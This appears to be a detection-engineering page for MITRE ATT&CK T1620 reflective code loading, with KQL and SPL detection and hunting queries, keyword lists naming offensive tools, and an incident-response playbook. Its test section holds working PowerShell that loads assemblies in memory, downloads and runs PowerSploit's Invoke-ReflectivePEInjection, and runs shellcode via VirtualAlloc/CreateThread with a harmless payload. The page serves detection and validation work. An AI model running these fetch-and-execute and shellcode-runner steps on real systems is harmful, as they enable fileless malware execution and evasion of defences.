T1620

Reflective Code Loading

Defense Evasion Last updated:

This detection identifies adversaries loading and executing code directly within process memory to evade disk-based detection controls. Reflective code loading encompasses techniques such as .NET assembly loading via PowerShell's Assembly.Load() method, position-independent shellcode injected into self-owned process memory via VirtualAlloc/CreateThread, ELF or PE loading from anonymous memory regions, and fileless .NET CLR hosting. Because no file is written to disk, traditional file-based AV and EDR telemetry is bypassed; detections must focus on command-line indicators, suspicious memory allocation API call patterns, unusual .NET CLR loading within scripting hosts, and anomalous process behaviors such as spawning threads from heap memory regions.

What is T1620 Reflective Code Loading?

Reflective Code Loading (T1620) maps to the Defense Evasion tactic — the adversary is trying to avoid being detected in MITRE ATT&CK.

This page provides production-ready detection logic for Reflective Code Loading, covering the data sources and telemetry it touches: Microsoft Defender for Endpoint. The queries below are rated high severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic
Defense Evasion
Technique
T1620 Reflective Code Loading
Canonical reference
https://attack.mitre.org/techniques/T1620/
Microsoft Sentinel / Defender
kusto
let ReflectiveLoadKeywords = dynamic([
    "Assembly.Load",
    "[System.Reflection.Assembly]",
    "Reflection.Assembly::Load",
    "Invoke-ReflectivePEInjection",
    "Invoke-Shellcode",
    "ReflectivePELoader",
    "LoadLibraryR",
    "NtAllocateVirtualMemory",
    "VirtualAllocEx",
    "::UnsafeLoadFrom",
    "AssemblyLoad"
]);
let Base64AssemblyPatterns = dynamic([
    "FromBase64String",
    "Convert]::FromBase64",
    "[Convert]::From"
]);
let SuspiciousHosts = dynamic([
    "powershell.exe", "pwsh.exe", "cscript.exe",
    "wscript.exe", "mshta.exe", "rundll32.exe",
    "regsvr32.exe", "msiexec.exe"
]);
DeviceProcessEvents
| where TimeGenerated > ago(1d)
| where FileName in~ (SuspiciousHosts)
    or InitiatingProcessFileName in~ (SuspiciousHosts)
| where ProcessCommandLine has_any (ReflectiveLoadKeywords)
    or ProcessCommandLine has_any (Base64AssemblyPatterns)
    or InitiatingProcessCommandLine has_any (ReflectiveLoadKeywords)
| extend CmdLineLen = strlen(ProcessCommandLine)
| extend EncodedPayloadLikely = iff(
    ProcessCommandLine matches regex @"[A-Za-z0-9+/]{200,}={0,2}",
    true, false)
| extend Severity = case(
    ProcessCommandLine has "Invoke-ReflectivePEInjection", "Critical",
    ProcessCommandLine has "Invoke-Shellcode", "Critical",
    ProcessCommandLine has "Assembly.Load" and EncodedPayloadLikely == true, "High",
    ProcessCommandLine has "Assembly.Load", "Medium",
    "Medium")
| project
    TimeGenerated,
    DeviceName,
    AccountName,
    AccountDomain,
    FileName,
    ProcessCommandLine,
    InitiatingProcessFileName,
    InitiatingProcessCommandLine,
    InitiatingProcessAccountName,
    CmdLineLen,
    EncodedPayloadLikely,
    Severity,
    SHA256,
    ProcessId,
    InitiatingProcessId
| order by TimeGenerated desc

Detects reflective code loading in scripting hosts and common LOLBins by searching for .NET Assembly.Load() calls, reflective PE injection tooling keywords, and large base64-encoded blobs combined with assembly loading. Flags known offensive tooling names (Invoke-ReflectivePEInjection, Invoke-Shellcode) as Critical, and heuristic patterns (Assembly.Load + encoded payload) as High.

high severity medium confidence

Data Sources

Microsoft Defender for Endpoint

Required Tables

DeviceProcessEvents

False Positives

  • Legitimate .NET applications and developer tooling that use Assembly.Load() or Reflection.Assembly for plugin systems (e.g., Visual Studio extensions, Roslyn compilers)
  • Security tooling and EDR agents that use reflective loading for their own module injection (e.g., CrowdStrike Falcon sensor, Carbon Black)
  • PowerShell modules that use Add-Type or Assembly.Load to compile and load inline C# at runtime for legitimate administrative tasks (e.g., ActiveDirectory management scripts)

Sigma rule & cross-platform mapping

The detection logic for Reflective Code Loading (T1620) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource:

logsource:
  category: process_creation
  product: windows

Browse the community-maintained Sigma rules for this technique:


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1PowerShell Assembly.Load from Base64-encoded .NET Assembly

    Expected signal: Sysmon Event ID 1 (Process Create) for powershell.exe with CommandLine containing 'Assembly.Load' and 'FromBase64String'. Sysmon Event ID 7 (ImageLoad) showing clr.dll and mscorlib.dll loaded into powershell.exe. PowerShell ScriptBlock log Event ID 4104 with full decoded script content.

  2. Test 2Invoke-ReflectivePEInjection Simulation via PowerSploit

    Expected signal: Sysmon Event ID 1 for powershell.exe with CommandLine containing 'Invoke-ReflectivePEInjection'. PowerShell ScriptBlock Event ID 4104 with decoded function definition. Possible Sysmon Event ID 8 (CreateRemoteThread) if PE injection spawns threads.

  3. Test 3Shellcode Reflective Execution via Add-Type PInvoke (Windows)

    Expected signal: Sysmon Event ID 1 for powershell.exe with CommandLine containing 'Add-Type' and 'VirtualAlloc', 'CreateThread', 'DllImport', 'kernel32'. PowerShell ScriptBlock Event ID 4104 with full C# source including PInvoke signatures. Sysmon Event ID 7 showing clr.dll and clrjit.dll loaded into powershell.exe.


Response Playbook

Triage

  1. Step 1: Identify the initiating process — determine if the parent process (e.g., powershell.exe, mshta.exe) was spawned interactively by a user or by a scheduled task/service. Check DeviceProcessEvents for the full process tree using InitiatingProcessId.
  2. Step 2: Extract and decode any base64 payload present in the command line. Use CyberChef or PowerShell's [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('...')) to reveal the actual code being loaded.
  3. Step 3: Examine the decoded or raw assembly for known malware signatures — hash the bytes and query VirusTotal. Check for known offensive framework artifacts (SILENTTRINITY, PowerSploit, Cobalt Strike BOFs, Donut-generated shellcode).
  4. Step 4: Review the timeline of events on the host in the 15 minutes before and after the alert using DeviceProcessEvents, DeviceNetworkEvents, and DeviceFileEvents to understand what actions preceded and followed the reflective load.
  5. Step 5: Determine the user account context — was this a service account, a domain admin, or a regular user? Check for recent failed logons or lateral movement indicators in AADSignInLogs and DeviceLogonEvents.

Containment

  1. If the process is confirmed malicious, isolate the endpoint immediately via Defender for Endpoint > Device page > Isolate Device to prevent lateral movement while investigation continues.
  2. Terminate the suspicious process (powershell.exe, mshta.exe, etc.) using MDE Live Response: run `Get-Process | Where-Object {$_.Id -eq <PID>} | Stop-Process -Force` or use the 'Kill Process' action in MDE.
  3. If the reflective load was executed under a service or scheduled task context, disable that task/service immediately to prevent re-execution: `schtasks /change /tn "<TaskName>" /disable` or `Set-Service -Name <Name> -StartupType Disabled`.
  4. Revoke and reset credentials for any account involved in the process execution, particularly if the account has elevated privileges or domain access.

Evidence Collection

  1. Capture a full memory dump of the affected process before termination using ProcDump: `procdump -ma <PID> C:\Evidence\proc_<PID>.dmp`. This preserves the reflectively loaded code in memory.
  2. Export the PowerShell ScriptBlock logs from the endpoint: `wevtutil epl Microsoft-Windows-PowerShell/Operational C:\Evidence\PSOperational.evtx`. ScriptBlock logging (Event ID 4104) will contain the decoded script if enabled.
  3. Collect the Sysmon operational log: `wevtutil epl Microsoft-Windows-Sysmon/Operational C:\Evidence\Sysmon.evtx` — this preserves network connections and file operations correlated with the suspicious process.
  4. If available, extract prefetch files from C:\Windows\Prefetch\ for the suspicious executables to establish execution history and frequency.
  5. Run MDE Live Response to collect: process list with parent PIDs, netstat output, autoruns snapshot, and all files touched by the process in the last 30 minutes.

Escalation Criteria

  • ! Escalate immediately to Incident Response if Invoke-ReflectivePEInjection or Invoke-Shellcode are confirmed executed — these are direct offense-framework indicators with no legitimate use case.
  • ! Escalate if the reflective load is followed by outbound C2 connections (DeviceNetworkEvents showing connections to rare external IPs or domains within 5 minutes of the alert).
  • ! Escalate if the decoded payload hashes to a known malware family (BADHATCH, WhisperGate, SILENTTRINITY, Cobalt Strike) or scores >50 on VirusTotal.
  • ! Escalate if multiple hosts in the environment show the same reflective loading pattern within a short timeframe — this indicates worm-like lateral movement or a broad compromise.
  • ! Escalate if the activity originates from a privileged account (Domain Admin, Service Account with broad permissions) or involves credential access tools.

Investigation Guide

Forensic Artifacts

  • > PowerShell ScriptBlock logs (Event ID 4104) — contain decoded script content including Assembly.Load() calls
  • > PowerShell Module logs (Event ID 4103) — pipeline execution showing module loading activity
  • > Sysmon Event ID 7 (ImageLoad) — can show CLR DLLs (clr.dll, mscorlib.dll) loaded into unexpected processes
  • > Windows Error Reporting (WER) crash dumps if the reflective payload caused an exception — stored in %LOCALAPPDATA%\CrashDumps
  • > ETW (Event Tracing for Windows) .NET CLR traces — System.Reflection events capture assembly loading if ETW consumers are active
  • > Process memory dump — contains the reflectively loaded code in the heap or anonymous memory regions
  • > Prefetch files for the host process — confirm execution frequency and loaded modules

Tuning Guidance

Start by enabling PowerShell ScriptBlock logging (GPO: Computer Config > Admin Templates > Windows Components > Windows PowerShell > Turn on PowerShell Script Block Logging) and Module logging — these capture decoded content and dramatically improve detection confidence. Baseline legitimate Assembly.Load usage in your environment by reviewing the parent processes and loaded assembly hashes over 30 days before alerting. Whitelist known developer workstations running Visual Studio or Roslyn, and known EDR product processes. For the CLR DLL hunting query, build an allowlist of non-standard .NET hosts specific to your environment (e.g., custom line-of-business apps). The base64 heuristic is noisy in environments with heavy PowerShell automation — consider raising the minimum encoded string length or requiring co-occurrence with Assembly.Load keywords. If SILENTTRINITY or PowerSploit is confirmed, all variations of these tools share distinctive command-line fragments that can be added as high-confidence exact-match rules.


Hunting Queries

Hunts for CLR DLLs (clr.dll, mscorlib.dll) loaded into non-.NET host processes — a strong indicator that a process is hosting reflectively loaded .NET code. Legitimate .NET hosts are excluded.

Hunting — KQL
kql
// Hunt for CLR loaded into unusual processes — a sign of reflective .NET loading
DeviceImageLoadEvents
| where TimeGenerated > ago(7d)
| where FileName in~ ("clr.dll", "mscorlib.dll", "clrjit.dll", "mscoree.dll")
| where InitiatingProcessFileName !in~ (
    "powershell.exe", "pwsh.exe", "dotnet.exe", "csc.exe",
    "msbuild.exe", "devenv.exe", "sqlservr.exe", "w3wp.exe",
    "svchost.exe", "WmiPrvSE.exe", "explorer.exe"
)
| summarize
    CLRLoads = count(),
    Processes = make_set(InitiatingProcessFileName),
    Devices = make_set(DeviceName)
    by InitiatingProcessFileName, InitiatingProcessFolderPath
| where CLRLoads > 1
| order by CLRLoads desc
Hunting — SPL
spl
index=* sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=7
| eval img=lower(ImageLoaded), proc=lower(Image)
| where match(img, "clr\.dll|mscorlib\.dll|clrjit\.dll|mscoree\.dll")
| where NOT match(proc, "powershell\.exe|pwsh\.exe|dotnet\.exe|csc\.exe|msbuild\.exe|devenv\.exe|sqlservr\.exe|w3wp\.exe|svchost\.exe|wmiprvse\.exe")
| stats count by ComputerName, Image, ImageLoaded, Signed, Signature
| sort - count

Correlates Assembly.Load PowerShell executions with outbound network connections from the same process within 5 minutes — indicative of reflectively loaded C2 implants establishing callbacks.

Hunting — KQL
kql
// Hunt for PowerShell making network connections immediately after Assembly.Load patterns
let AssemblyLoadEvents = DeviceProcessEvents
| where TimeGenerated > ago(7d)
| where FileName in~ ("powershell.exe", "pwsh.exe")
| where ProcessCommandLine has_any ("Assembly.Load", "[System.Reflection", "FromBase64String")
| project LoadTime = TimeGenerated, DeviceName, ProcessId, AccountName;
DeviceNetworkEvents
| where TimeGenerated > ago(7d)
| where InitiatingProcessFileName in~ ("powershell.exe", "pwsh.exe")
| where RemoteIPType == "Public"
| join kind=inner AssemblyLoadEvents
    on DeviceName, $left.InitiatingProcessId == $right.ProcessId
| where TimeGenerated between (LoadTime .. (LoadTime + 5m))
| project
    LoadTime,
    NetworkTime = TimeGenerated,
    DeviceName,
    AccountName,
    RemoteIP,
    RemotePort,
    RemoteUrl,
    InitiatingProcessCommandLine
Hunting — SPL
spl
index=* sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational"
| eval evt_type=case(EventCode=="1", "process", EventCode=="3", "network", true(), "other")
| where evt_type IN ("process", "network")
| eval proc=lower(Image), cmdline=lower(CommandLine)
| where (evt_type=="process" AND match(proc, "powershell\.exe|pwsh\.exe") AND match(cmdline, "assembly\.load|frombase64string"))
    OR (evt_type=="network" AND match(proc, "powershell\.exe|pwsh\.exe") AND NOT match(DestinationIp, "^(10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.)"))
| stats values(cmdline) as Commands, values(DestinationIp) as RemoteIPs, values(DestinationPort) as Ports by ComputerName, ProcessId, User
| where isnotnull(RemoteIPs) AND isnotnull(Commands)

Hunts for PowerShell Add-Type abuse where inline C# includes PInvoke calls to Windows memory management APIs (VirtualAlloc, CreateThread) — a pattern used to execute raw shellcode reflectively from PowerShell without writing files.

Hunting — KQL
kql
// Hunt for Add-Type with unsafe or pinvoke patterns used to call memory allocation APIs
DeviceProcessEvents
| where TimeGenerated > ago(7d)
| where FileName in~ ("powershell.exe", "pwsh.exe")
| where ProcessCommandLine has "Add-Type"
    and (
        ProcessCommandLine has_any ("VirtualAlloc", "VirtualProtect", "CreateThread", "NtAllocateVirtualMemory", "WriteProcessMemory")
        or ProcessCommandLine has_any ("DllImport", "kernel32", "ntdll")
    )
| extend IsUnsafe = ProcessCommandLine has "unsafe"
| project
    TimeGenerated,
    DeviceName,
    AccountName,
    ProcessCommandLine,
    IsUnsafe,
    SHA256,
    ProcessId
| order by TimeGenerated desc
Hunting — SPL
spl
index=* sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1
| eval cmdline=CommandLine, proc=lower(Image)
| where match(proc, "powershell\.exe|pwsh\.exe")
    AND match(lower(cmdline), "add-type")
    AND match(lower(cmdline), "virtualalloc|virtualprotect|createthread|ntallocatevirtualmemory|writeprocessmemory|dllimport|kernel32|ntdll")
| eval IsUnsafe=if(match(lower(cmdline), "unsafe"), "true", "false")
| table _time, ComputerName, User, CommandLine, IsUnsafe, ParentImage, ParentCommandLine, Hashes

Atomic Red Team Tests

Test 1 PowerShell Assembly.Load from Base64-encoded .NET Assembly
windows

Simulates reflective .NET assembly loading via PowerShell by compiling a minimal C# assembly, base64-encoding it, and loading it entirely in memory using Assembly.Load() without writing the DLL to disk. This is the core pattern used by SILENTTRINITY and other .NET-based C2 frameworks.

Command

powershell
$code = @'
using System;
public class ReflectTest {
    public static string Run() { return "ReflectiveLoadTest_T1620"; }
}
'@
$provider = New-Object Microsoft.CSharp.CSharpCodeProvider
$params = New-Object System.CodeDom.Compiler.CompilerParameters
$params.GenerateInMemory = $false
$params.OutputAssembly = "$env:TEMP\\refltest.dll"
$result = $provider.CompileAssemblyFromSource($params, $code)
$bytes = [System.IO.File]::ReadAllBytes("$env:TEMP\\refltest.dll")
$b64 = [Convert]::ToBase64String($bytes)
# Now reflectively load from base64 — no file on disk
$loadedBytes = [Convert]::FromBase64String($b64)
$asm = [System.Reflection.Assembly]::Load($loadedBytes)
$type = $asm.GetType("ReflectTest")
$method = $type.GetMethod("Run")
$output = $method.Invoke($null, $null)
Write-Host "Reflective load result: $output"

Cleanup

powershell
Remove-Item "$env:TEMP\refltest.dll" -Force -ErrorAction SilentlyContinue

Expected Telemetry

Sysmon Event ID 1 (Process Create) for powershell.exe with CommandLine containing 'Assembly.Load' and 'FromBase64String'. Sysmon Event ID 7 (ImageLoad) showing clr.dll and mscorlib.dll loaded into powershell.exe. PowerShell ScriptBlock log Event ID 4104 with full decoded script content.

Expected Detection

Alert: 'Reflective Code Loading - T1620' triggered on DeviceProcessEvents match for Assembly.Load + FromBase64String in PowerShell command line.

Test 2 Invoke-ReflectivePEInjection Simulation via PowerSploit
windows

Simulates the PowerSploit Invoke-ReflectivePEInjection technique by loading the PowerSploit module from memory (without writing to disk) and invoking a PE reflectively into the current process. Validates detection of the most commonly named reflective loading function in offensive PowerShell tooling.

Command

powershell
# Download PowerSploit ReflectivePEInjection module into memory only
$url = "https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/CodeExecution/Invoke-ReflectivePEInjection.ps1"
$wc = New-Object System.Net.WebClient
$code = $wc.DownloadString($url)
# Load into memory via ScriptBlock without writing to disk
$sb = [ScriptBlock]::Create($code)
Invoke-Command -ScriptBlock $sb
# Invoke with a benign target DLL (calc.exe module) to generate telemetry
Invoke-ReflectivePEInjection -PEPath C:\Windows\System32\calc.exe -ForceASLR

Cleanup

powershell
Get-Process calc -ErrorAction SilentlyContinue | Stop-Process -Force

Expected Telemetry

Sysmon Event ID 1 for powershell.exe with CommandLine containing 'Invoke-ReflectivePEInjection'. PowerShell ScriptBlock Event ID 4104 with decoded function definition. Possible Sysmon Event ID 8 (CreateRemoteThread) if PE injection spawns threads.

Expected Detection

Alert fires on 'Invoke-ReflectivePEInjection' keyword match in ProcessCommandLine — classified as Critical severity.

Test 3 Shellcode Reflective Execution via Add-Type PInvoke (Windows)
windows

Validates detection of shellcode execution through reflective loading by using PowerShell Add-Type to define inline C# with PInvoke calls to VirtualAlloc and CreateThread — the canonical pattern used by tools like BADHATCH and raw shellcode runners generated by Donut or msfvenom.

Command

powershell
$CSharpCode = @'
using System;
using System.Runtime.InteropServices;
public class ShellcodeRunner {
    [DllImport("kernel32.dll")]
    public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
    [DllImport("kernel32.dll")]
    public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
    [DllImport("kernel32.dll")]
    public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
    public static void Run() {
        // Benign NOP sled shellcode for testing — does nothing harmful
        byte[] shellcode = new byte[] { 0x90, 0x90, 0x90, 0xC3 }; // NOP NOP NOP RET
        IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, 0x3000, 0x40);
        Marshal.Copy(shellcode, 0, addr, shellcode.Length);
        IntPtr thread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
        WaitForSingleObject(thread, 500);
    }
}
'@
Add-Type -TypeDefinition $CSharpCode -Language CSharp
[ShellcodeRunner]::Run()
Write-Host "Shellcode reflective execution test complete"

Cleanup

powershell
# No cleanup required — process terminates naturally; no files written to disk

Expected Telemetry

Sysmon Event ID 1 for powershell.exe with CommandLine containing 'Add-Type' and 'VirtualAlloc', 'CreateThread', 'DllImport', 'kernel32'. PowerShell ScriptBlock Event ID 4104 with full C# source including PInvoke signatures. Sysmon Event ID 7 showing clr.dll and clrjit.dll loaded into powershell.exe.

Expected Detection

Alert fires on Add-Type + VirtualAlloc/CreateThread/DllImport/kernel32 keyword co-occurrence hunt query. Medium-to-High severity depending on rule tuning.

Related Detections